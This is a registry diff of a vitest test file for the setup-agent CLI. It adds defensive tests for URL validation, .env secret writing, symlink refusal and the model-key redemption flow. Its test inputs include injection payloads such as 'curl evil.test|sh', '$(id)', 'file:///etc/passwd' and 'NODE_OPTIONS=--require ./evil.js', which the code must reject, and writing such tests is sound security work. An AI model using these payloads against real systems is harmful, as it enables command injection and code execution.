setup-agent 0.0.6 → 0.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/src/cli.test.ts CHANGED
@@ -1,11 +1,18 @@
1
+ import { createHash } from "node:crypto";
2
+ import type { connectCheckout } from "./client";
1
3
  import { initialCheckoutState, type Checkout } from "./protocol";
2
4
  import { describe, expect, it, onTestFinished, vi } from "vitest";
3
5
  import {
4
6
  chmod,
5
7
  mkdtemp,
8
+ mkdir,
9
+ readdir,
6
10
  readFile,
11
+ realpath,
7
12
  rm,
8
13
  stat,
14
+ symlink,
15
+ unlink,
9
16
  writeFile,
10
17
  } from "node:fs/promises";
11
18
  import { tmpdir } from "node:os";
@@ -13,16 +20,27 @@ import { join } from "node:path";
13
20
  import {
14
21
  HELP,
15
22
  INSTRUCTIONS,
23
+ main,
16
24
  askSeed,
17
25
  agentInstructions,
18
26
  diffEvents,
19
27
  detectAgentKind,
20
28
  isDirectInvocation,
29
+ parseSetupUrl,
21
30
  upsertEnvLine,
22
31
  waitForStart,
23
32
  writeEnvSecret,
24
33
  } from "./cli";
25
34
 
35
+ const { connectCheckoutMock } = vi.hoisted(() => ({
36
+ connectCheckoutMock: vi.fn<typeof connectCheckout>(),
37
+ }));
38
+
39
+ vi.mock("./client", async (importOriginal) => ({
40
+ ...(await importOriginal<typeof import("./client")>()),
41
+ connectCheckout: connectCheckoutMock,
42
+ }));
43
+
26
44
  describe("the agent's briefing", () => {
27
45
  it("preserves the published instructions export and setup-created event wording", () => {
28
46
  expect(INSTRUCTIONS).toBe(agentInstructions);
@@ -290,6 +308,87 @@ describe("upsertEnvLine", () => {
290
308
  ).toBe("A=1\nOPENAI_API_KEY=sk-2\nB=2\n");
291
309
  expect(upsertEnvLine("A=1\n", "B", "2")).toBe("A=1\nB=2\n");
292
310
  });
311
+
312
+ it.each([
313
+ "sk-1\nNODE_OPTIONS=--require ./evil.js",
314
+ "sk-1\rNODE_OPTIONS=x",
315
+ "sk-1\u0000",
316
+ "sk-1\u2028NODE_OPTIONS=x",
317
+ "sk-1\u0085NODE_OPTIONS=x",
318
+ ])("refuses a value that would add lines: %j", (value) => {
319
+ expect(() => upsertEnvLine("A=1\n", "OPENAI_API_KEY", value)).toThrow(
320
+ "must be a single line",
321
+ );
322
+ });
323
+
324
+ it("keeps an = inside the value on the key's own line", () => {
325
+ expect(upsertEnvLine("", "KEY", "abc==")).toBe("KEY=abc==\n");
326
+ });
327
+ });
328
+
329
+ describe("parseSetupUrl", () => {
330
+ it.each([
331
+ ["https://checkout.test/session", "https://checkout.test/session"],
332
+ ["https://checkout.test/session/", "https://checkout.test/session"],
333
+ ["https://checkout.test", "https://checkout.test"],
334
+ ["HTTPS://Checkout.Test:8443/a/b", "https://checkout.test:8443/a/b"],
335
+ ["http://localhost:18892/checkout/s", "http://localhost:18892/checkout/s"],
336
+ ["http://127.0.0.1:8787/checkout/s", "http://127.0.0.1:8787/checkout/s"],
337
+ ["http://[::1]:8787/checkout/s", "http://[::1]:8787/checkout/s"],
338
+ ["http://app.localhost/checkout/s", "http://app.localhost/checkout/s"],
339
+ ])("accepts %j", (value, href) => {
340
+ expect(parseSetupUrl(value)).toBe(href);
341
+ });
342
+
343
+ it.each([
344
+ ["not a url", "is not a URL"],
345
+ ["http://checkout.test/session", "must use https"],
346
+ ["http://localhost.evil.test/session", "must use https"],
347
+ ["ftp://checkout.test/session", "must use https"],
348
+ ["file:///etc/passwd", "must use https"],
349
+ ["javascript:alert(1)", "must use https"],
350
+ ["https://user:pass@checkout.test/session", "must not carry credentials"],
351
+ [
352
+ "https://checkout.test/session?x=$(touch /tmp/pwned)",
353
+ "query or fragment",
354
+ ],
355
+ ["https://checkout.test/session?", "query or fragment"],
356
+ ["https://checkout.test/session#`id`", "query or fragment"],
357
+ ["https://checkout.test/s;curl evil.test|sh", "characters"],
358
+ ["https://checkout.test/s$(id)", "characters"],
359
+ ["https://checkout.test/s'&&id&&'", "characters"],
360
+ ["https://checkout.test/s!x*y", "characters"],
361
+ ])("refuses %j", (value, message) => {
362
+ expect(() => parseSetupUrl(value)).toThrow(message);
363
+ });
364
+
365
+ it("keeps characters the parser escapes from reaching a shell", () => {
366
+ const href = parseSetupUrl('https://checkout.test/s`id`"x" y<z>{w}');
367
+ expect(href).toBe(
368
+ "https://checkout.test/s%60id%60%22x%22%20y%3Cz%3E%7Bw%7D",
369
+ );
370
+ });
371
+
372
+ it("refuses an unsafe URL before connecting", async () => {
373
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
374
+ throw new Error("exit");
375
+ });
376
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
377
+ onTestFinished(() => {
378
+ exit.mockRestore();
379
+ stderr.mockRestore();
380
+ connectCheckoutMock.mockReset();
381
+ });
382
+ for (const url of [
383
+ "https://checkout.test/s;touch${IFS}/tmp/pwned",
384
+ "https://checkout.test/s?x=`id`",
385
+ "http://checkout.test/session",
386
+ ]) {
387
+ await expect(main([url, "status"])).rejects.toThrow("exit");
388
+ }
389
+ expect(connectCheckoutMock).not.toHaveBeenCalled();
390
+ expect(stderr).toHaveBeenCalledTimes(3);
391
+ });
293
392
  });
294
393
 
295
394
  describe("detectAgentKind", () => {
@@ -503,6 +602,19 @@ describe("begin planning", () => {
503
602
  });
504
603
 
505
604
  describe("agent instructions", () => {
605
+ it("prints a setup URL as one quoted shell word", () => {
606
+ const instructions = agentInstructions("https://checkout.test/a'b;c");
607
+ expect(instructions).toContain(
608
+ "npx setup-agent 'https://checkout.test/a'\\''b;c' stream",
609
+ );
610
+ expect(instructions).not.toContain(
611
+ "npx setup-agent https://checkout.test/a'",
612
+ );
613
+ expect(agentInstructions("https://checkout.test/s")).toContain(
614
+ "npx setup-agent https://checkout.test/s stream",
615
+ );
616
+ });
617
+
506
618
  it("discovers related products and asks contextual entry points before the plan", () => {
507
619
  const instructions = agentInstructions(
508
620
  "http://localhost:18892/checkout/session",
@@ -571,6 +683,38 @@ describe("writeEnvSecret", () => {
571
683
  expect(take).not.toHaveBeenCalled();
572
684
  });
573
685
 
686
+ it("refuses a symbolic link without taking the secret or changing its target", async () => {
687
+ const dir = await tempDir();
688
+ const target = join(dir, "target");
689
+ const file = join(dir, ".env.local");
690
+ await writeFile(target, "ORIGINAL=1\n");
691
+ await chmod(target, 0o644);
692
+ await symlink(target, file);
693
+ const take = vi.fn(async () => "sk-test");
694
+ await expect(writeEnvSecret(file, "OPENAI_API_KEY", take)).rejects.toThrow(
695
+ `${file} is a symbolic link; pass --file with its target to write there`,
696
+ );
697
+ expect(take).not.toHaveBeenCalled();
698
+ expect(await readFile(target, "utf8")).toBe("ORIGINAL=1\n");
699
+ expect((await stat(target)).mode & 0o777).toBe(0o644);
700
+ });
701
+
702
+ it("refuses a parent directory linked outside the project", async () => {
703
+ const project = await tempDir();
704
+ const outside = await tempDir();
705
+ await symlink(outside, join(project, "config"), "dir");
706
+ const take = vi.fn(async () => "sk-test");
707
+ await expect(
708
+ writeEnvSecret(
709
+ join(project, "config", ".env.local"),
710
+ "OPENAI_API_KEY",
711
+ take,
712
+ project,
713
+ ),
714
+ ).rejects.toThrow("outside the project");
715
+ expect(take).not.toHaveBeenCalled();
716
+ });
717
+
574
718
  it.skipIf(process.platform === "win32")(
575
719
  "creates the file readable only by its owner",
576
720
  async () => {
@@ -602,6 +746,15 @@ describe("writeEnvSecret", () => {
602
746
  expect(take).not.toHaveBeenCalled();
603
747
  });
604
748
 
749
+ it("leaves the file intact when the secret is refused", async () => {
750
+ const file = join(await tempDir(), ".env.local");
751
+ await writeFile(file, "A=1\nB=2\n");
752
+ await expect(
753
+ writeEnvSecret(file, "OPENAI_API_KEY", async () => "sk-test\nEVIL=1"),
754
+ ).rejects.toThrow();
755
+ expect(await readFile(file, "utf8")).toBe("A=1\nB=2\n");
756
+ });
757
+
605
758
  it("keeps lines another writer added while the secret was being taken", async () => {
606
759
  const file = join(await tempDir(), ".env.local");
607
760
  await writeEnvSecret(file, "OPENAI_API_KEY", async () => {
@@ -613,3 +766,436 @@ describe("writeEnvSecret", () => {
613
766
  );
614
767
  });
615
768
  });
769
+
770
+ describe("model key handoff", () => {
771
+ const fixture = async (stateHomePath?: (root: string) => Promise<string>) => {
772
+ const root = await mkdtemp(join(tmpdir(), "setup-agent-state-"));
773
+ const stateHome = stateHomePath
774
+ ? await stateHomePath(root)
775
+ : await realpath(root);
776
+ const stateHomeVariable =
777
+ process.platform === "win32" ? "LOCALAPPDATA" : "XDG_STATE_HOME";
778
+ const prior = process.env[stateHomeVariable];
779
+ process.env[stateHomeVariable] = stateHome;
780
+ const state: Checkout.State = {
781
+ ...initialCheckoutState(),
782
+ id: "setup-a",
783
+ createdAt: 1,
784
+ status: "planning",
785
+ };
786
+ const ask = vi.fn(async (seed: Checkout.InputSeed) => {
787
+ state.inputs.push({
788
+ ...seed,
789
+ id: "q1",
790
+ phase: "planning",
791
+ kind: "model",
792
+ optional: false,
793
+ status: "open",
794
+ createdAt: 2,
795
+ });
796
+ return { inputId: "q1" };
797
+ });
798
+ const client = { state, commands: { "agent/ask": ask }, dispose: vi.fn() };
799
+ connectCheckoutMock.mockResolvedValue(
800
+ client as unknown as Awaited<ReturnType<typeof connectCheckout>>,
801
+ );
802
+ const stdout = vi.spyOn(process.stdout, "write").mockReturnValue(true);
803
+ onTestFinished(async () => {
804
+ stdout.mockRestore();
805
+ connectCheckoutMock.mockReset();
806
+ vi.unstubAllGlobals();
807
+ vi.unstubAllEnvs();
808
+ if (prior === undefined) delete process.env[stateHomeVariable];
809
+ else process.env[stateHomeVariable] = prior;
810
+ await rm(root, { recursive: true, force: true });
811
+ });
812
+ return { state, ask, stateHome, root };
813
+ };
814
+
815
+ const setup = async (stateHomePath?: (root: string) => Promise<string>) => {
816
+ const context = await fixture(stateHomePath);
817
+ await main([
818
+ "https://checkout.test/session",
819
+ "ask",
820
+ "--preset",
821
+ "llm-provider",
822
+ ]);
823
+ const directory = join(context.stateHome, "setup-agent");
824
+ const files = await readdir(directory);
825
+ const keyFile = join(directory, files[0]!);
826
+ const redeemKey = await readFile(keyFile, "utf8");
827
+ return { ...context, directory, files, keyFile, redeemKey };
828
+ };
829
+
830
+ const answerModel = (state: Checkout.State) => {
831
+ state.inputs[0]!.status = "answered";
832
+ state.inputs[0]!.answer = JSON.stringify({
833
+ provider: "openai",
834
+ model: "gpt-test",
835
+ });
836
+ };
837
+
838
+ const fallbackDirectory = async () => {
839
+ const root = await mkdtemp(join(tmpdir(), "setup-agent-fallback-"));
840
+ for (const variable of ["TMPDIR", "TMP", "TEMP"])
841
+ vi.stubEnv(variable, root);
842
+ onTestFinished(() => rm(root, { recursive: true, force: true }));
843
+ return join(
844
+ root,
845
+ `setup-agent-${process.platform === "win32" ? (await import("node:os")).userInfo().username : process.getuid!()}`,
846
+ );
847
+ };
848
+
849
+ const redeem = async (state: Checkout.State, url: string) => {
850
+ answerModel(state);
851
+ const fetch = vi.fn(
852
+ async (_input: string, _init?: RequestInit) =>
853
+ new Response("provider-key"),
854
+ );
855
+ vi.stubGlobal("fetch", fetch);
856
+ const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
857
+ onTestFinished(() => rm(directory, { recursive: true, force: true }));
858
+ const file = join(directory, ".env.local");
859
+ await main([url, "env", "q1", "OPENAI_API_KEY", "--file", file]);
860
+ expect(await readFile(file, "utf8")).toBe("OPENAI_API_KEY=provider-key\n");
861
+ return fetch;
862
+ };
863
+
864
+ it.skipIf(process.platform === "win32")(
865
+ "stores the model redeem key privately under the user state home",
866
+ async () => {
867
+ const { ask, directory, files, keyFile, redeemKey } = await setup();
868
+ expect(files).toHaveLength(1);
869
+ expect((await stat(directory)).mode & 0o777).toBe(0o700);
870
+ expect((await stat(keyFile)).mode & 0o777).toBe(0o600);
871
+ expect(redeemKey).toMatch(/^[0-9a-f]{64}$/);
872
+ expect(ask.mock.calls[0]?.[0].redeemKeyHash).toBe(
873
+ createHash("sha256").update(redeemKey).digest("hex"),
874
+ );
875
+ expect(files).toEqual([`${ask.mock.calls[0]?.[0].redeemKeyHash}.key`]);
876
+ },
877
+ );
878
+
879
+ it.skipIf(process.platform === "win32")(
880
+ "stores and redeems through a symlinked state home ancestor",
881
+ async () => {
882
+ const { state, keyFile, redeemKey } = await setup(async (root) => {
883
+ await mkdir(join(root, "real", "state"), { recursive: true });
884
+ await symlink(join(root, "real"), join(root, "link"));
885
+ return join(root, "link", "state");
886
+ });
887
+ const fetch = await redeem(state, "https://checkout.test/session");
888
+ expect(fetch.mock.calls[0]?.[1]).toEqual({
889
+ headers: { "Setup-Agent-Redeem-Key": redeemKey },
890
+ });
891
+ expect(await readdir(join(keyFile, ".."))).toEqual([]);
892
+ },
893
+ );
894
+
895
+ it.skipIf(process.platform === "win32")(
896
+ "rejects a symlinked setup-agent directory and uses the temp fallback",
897
+ async () => {
898
+ const { state, ask, stateHome, root } = await fixture();
899
+ const target = join(root, "target");
900
+ await mkdir(target);
901
+ await symlink(target, join(stateHome, "setup-agent"));
902
+ const fallback = await fallbackDirectory();
903
+ await main([
904
+ "https://checkout.test/session",
905
+ "ask",
906
+ "--preset",
907
+ "llm-provider",
908
+ ]);
909
+ const hash = ask.mock.calls[0]?.[0].redeemKeyHash;
910
+ expect(await readdir(target)).toEqual([]);
911
+ expect(await readdir(fallback)).toEqual([`${hash}.key`]);
912
+ const key = await readFile(join(fallback, `${hash}.key`), "utf8");
913
+ const fetch = await redeem(state, "https://checkout.test/session");
914
+ expect(fetch.mock.calls[0]?.[1]).toEqual({
915
+ headers: { "Setup-Agent-Redeem-Key": key },
916
+ });
917
+ expect(await readdir(fallback)).toEqual([]);
918
+ },
919
+ );
920
+
921
+ it("refuses a model question when neither directory can store its key", async () => {
922
+ const { ask, stateHome } = await fixture();
923
+ const fallback = await fallbackDirectory();
924
+ await writeFile(join(stateHome, "setup-agent"), "occupied");
925
+ await writeFile(fallback, "occupied");
926
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
927
+ throw new Error("exit");
928
+ });
929
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
930
+ onTestFinished(() => {
931
+ exit.mockRestore();
932
+ stderr.mockRestore();
933
+ });
934
+
935
+ await expect(
936
+ main([
937
+ "https://checkout.test/session",
938
+ "ask",
939
+ "--preset",
940
+ "llm-provider",
941
+ ]),
942
+ ).rejects.toThrow("exit");
943
+
944
+ expect(ask).not.toHaveBeenCalled();
945
+ expect(String(stderr.mock.calls[0]?.[0])).toMatch(
946
+ /^setup-agent: could not store the model redeem key: /,
947
+ );
948
+ });
949
+
950
+ it("removes a stored key when agent/ask fails", async () => {
951
+ const { ask, stateHome } = await fixture();
952
+ let storedKey: string | undefined;
953
+ ask.mockImplementation(async (seed) => {
954
+ storedKey = await readFile(
955
+ join(stateHome, "setup-agent", `${seed.redeemKeyHash}.key`),
956
+ "utf8",
957
+ );
958
+ throw new Error("ask rejected");
959
+ });
960
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
961
+ throw new Error("exit");
962
+ });
963
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
964
+ onTestFinished(() => {
965
+ exit.mockRestore();
966
+ stderr.mockRestore();
967
+ });
968
+ await expect(
969
+ main([
970
+ "https://checkout.test/session",
971
+ "ask",
972
+ "--preset",
973
+ "llm-provider",
974
+ ]),
975
+ ).rejects.toThrow("exit");
976
+ expect(storedKey).toMatch(/^[0-9a-f]{64}$/);
977
+ expect(await readdir(join(stateHome, "setup-agent"))).toEqual([]);
978
+ });
979
+
980
+ it("pairs ask and env across a trailing slash in the endpoint", async () => {
981
+ const { state, redeemKey, keyFile } = await setup();
982
+ const fetch = await redeem(state, "https://checkout.test/session/");
983
+ expect(fetch.mock.calls[0]?.[1]).toEqual({
984
+ headers: { "Setup-Agent-Redeem-Key": redeemKey },
985
+ });
986
+ expect(await readdir(join(keyFile, ".."))).toEqual([]);
987
+ });
988
+
989
+ it("succeeds when the key file disappears before env cleanup", async () => {
990
+ const { state, keyFile } = await setup();
991
+ answerModel(state);
992
+ vi.stubGlobal(
993
+ "fetch",
994
+ vi.fn(async () => {
995
+ await unlink(keyFile);
996
+ return new Response("provider-key");
997
+ }),
998
+ );
999
+ const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
1000
+ onTestFinished(() => rm(directory, { recursive: true, force: true }));
1001
+ const file = join(directory, ".env.local");
1002
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
1003
+ onTestFinished(() => stderr.mockRestore());
1004
+ await main([
1005
+ "https://checkout.test/session",
1006
+ "env",
1007
+ "q1",
1008
+ "OPENAI_API_KEY",
1009
+ "--file",
1010
+ file,
1011
+ ]);
1012
+ expect(await readFile(file, "utf8")).toBe("OPENAI_API_KEY=provider-key\n");
1013
+ expect(stderr).not.toHaveBeenCalled();
1014
+ });
1015
+
1016
+ it("sends the stored key on env redemption and removes it after writing", async () => {
1017
+ const { state, keyFile, redeemKey } = await setup();
1018
+ state.inputs[0]!.status = "answered";
1019
+ state.inputs[0]!.answer = JSON.stringify({
1020
+ provider: "openai",
1021
+ model: "gpt-test",
1022
+ });
1023
+ const fetch = vi.fn(
1024
+ async (_input: string, _init?: RequestInit) =>
1025
+ new Response("provider-key"),
1026
+ );
1027
+ vi.stubGlobal("fetch", fetch);
1028
+ const file = join(
1029
+ await mkdtemp(join(tmpdir(), "setup-agent-env-")),
1030
+ ".env.local",
1031
+ );
1032
+ onTestFinished(() =>
1033
+ rm(join(file, ".."), { recursive: true, force: true }),
1034
+ );
1035
+ await main([
1036
+ "https://checkout.test/session",
1037
+ "env",
1038
+ "q1",
1039
+ "OPENAI_API_KEY",
1040
+ "--file",
1041
+ file,
1042
+ ]);
1043
+ expect(fetch.mock.calls[0]?.[1]).toEqual({
1044
+ headers: { "Setup-Agent-Redeem-Key": redeemKey },
1045
+ });
1046
+ expect(await readFile(file, "utf8")).toBe("OPENAI_API_KEY=provider-key\n");
1047
+ expect(await readdir(join(keyFile, ".."))).toEqual([]);
1048
+ });
1049
+
1050
+ it("keeps the stored key after a forbidden redemption", async () => {
1051
+ const { state, keyFile, redeemKey } = await setup();
1052
+ state.inputs[0]!.status = "answered";
1053
+ state.inputs[0]!.answer = JSON.stringify({
1054
+ provider: "openai",
1055
+ model: "gpt-test",
1056
+ });
1057
+ vi.stubGlobal(
1058
+ "fetch",
1059
+ vi.fn(async () => new Response(null, { status: 403 })),
1060
+ );
1061
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
1062
+ throw new Error("exit");
1063
+ });
1064
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
1065
+ onTestFinished(() => {
1066
+ exit.mockRestore();
1067
+ stderr.mockRestore();
1068
+ });
1069
+ const file = join(
1070
+ await mkdtemp(join(tmpdir(), "setup-agent-env-")),
1071
+ ".env.local",
1072
+ );
1073
+ onTestFinished(() =>
1074
+ rm(join(file, ".."), { recursive: true, force: true }),
1075
+ );
1076
+ await expect(
1077
+ main([
1078
+ "https://checkout.test/session",
1079
+ "env",
1080
+ "q1",
1081
+ "OPENAI_API_KEY",
1082
+ "--file",
1083
+ file,
1084
+ ]),
1085
+ ).rejects.toThrow("exit");
1086
+ expect(stderr).toHaveBeenCalledWith(
1087
+ expect.stringContaining('redeem key rejected for "q1"'),
1088
+ );
1089
+ expect(await readFile(keyFile, "utf8")).toBe(redeemKey);
1090
+ });
1091
+
1092
+ it.each([
1093
+ "sk-1\nNODE_OPTIONS=--require ./evil.js",
1094
+ "sk-1\r\nNODE_OPTIONS=x",
1095
+ "sk 1",
1096
+ 'sk-"1"',
1097
+ "sk-$(id)",
1098
+ "sk-1;id",
1099
+ "sk-1|id",
1100
+ "sk-1&id",
1101
+ "sk-1>out",
1102
+ ])(
1103
+ "refuses a deposited key that is not one API key word: %j",
1104
+ async (key) => {
1105
+ const { state } = await setup();
1106
+ answerModel(state);
1107
+ vi.stubGlobal(
1108
+ "fetch",
1109
+ vi.fn(async () => new Response(key)),
1110
+ );
1111
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
1112
+ throw new Error("exit");
1113
+ });
1114
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
1115
+ onTestFinished(() => {
1116
+ exit.mockRestore();
1117
+ stderr.mockRestore();
1118
+ });
1119
+ const directory = await mkdtemp(join(tmpdir(), "setup-agent-env-"));
1120
+ onTestFinished(() => rm(directory, { recursive: true, force: true }));
1121
+ const file = join(directory, ".env.local");
1122
+ await writeFile(file, "A=1\n");
1123
+ await expect(
1124
+ main([
1125
+ "https://checkout.test/session",
1126
+ "env",
1127
+ "q1",
1128
+ "OPENAI_API_KEY",
1129
+ "--file",
1130
+ file,
1131
+ ]),
1132
+ ).rejects.toThrow("exit");
1133
+ expect(stderr).toHaveBeenCalledWith(
1134
+ expect.stringContaining("the deposited key is not a valid API key"),
1135
+ );
1136
+ expect(await readFile(file, "utf8")).toBe("A=1\n");
1137
+ },
1138
+ );
1139
+
1140
+ it("never fetches the key over plain http off this machine", async () => {
1141
+ await setup();
1142
+ const fetch = vi.fn();
1143
+ vi.stubGlobal("fetch", fetch);
1144
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
1145
+ throw new Error("exit");
1146
+ });
1147
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
1148
+ onTestFinished(() => {
1149
+ exit.mockRestore();
1150
+ stderr.mockRestore();
1151
+ });
1152
+ connectCheckoutMock.mockClear();
1153
+ await expect(
1154
+ main(["http://checkout.test/session", "env", "q1", "OPENAI_API_KEY"]),
1155
+ ).rejects.toThrow("exit");
1156
+ expect(stderr).toHaveBeenCalledWith(
1157
+ expect.stringContaining("must use https"),
1158
+ );
1159
+ expect(connectCheckoutMock).not.toHaveBeenCalled();
1160
+ expect(fetch).not.toHaveBeenCalled();
1161
+ });
1162
+
1163
+ it("fetches the key over http on localhost", async () => {
1164
+ const { state } = await setup();
1165
+ const fetch = await redeem(state, "http://localhost:18892/checkout/s");
1166
+ expect(fetch.mock.calls[0]?.[0]).toBe(
1167
+ "http://localhost:18892/checkout/s/secret/q1?setup=setup-a",
1168
+ );
1169
+ });
1170
+
1171
+ it.skipIf(process.platform === "win32")(
1172
+ "refuses a symbolic link for the stored key",
1173
+ async () => {
1174
+ const { state, keyFile } = await setup();
1175
+ state.inputs[0]!.status = "answered";
1176
+ state.inputs[0]!.answer = JSON.stringify({
1177
+ provider: "openai",
1178
+ model: "gpt-test",
1179
+ });
1180
+ const target = join(keyFile, "..", "other-key");
1181
+ await writeFile(target, "other-value");
1182
+ await unlink(keyFile);
1183
+ await symlink(target, keyFile);
1184
+ const fetch = vi.fn();
1185
+ vi.stubGlobal("fetch", fetch);
1186
+ const exit = vi.spyOn(process, "exit").mockImplementation(() => {
1187
+ throw new Error("exit");
1188
+ });
1189
+ const stderr = vi.spyOn(process.stderr, "write").mockReturnValue(true);
1190
+ onTestFinished(() => {
1191
+ exit.mockRestore();
1192
+ stderr.mockRestore();
1193
+ });
1194
+ await expect(
1195
+ main(["https://checkout.test/session", "env", "q1", "OPENAI_API_KEY"]),
1196
+ ).rejects.toThrow("exit");
1197
+ expect(fetch).not.toHaveBeenCalled();
1198
+ expect(await readFile(target, "utf8")).toBe("other-value");
1199
+ },
1200
+ );
1201
+ });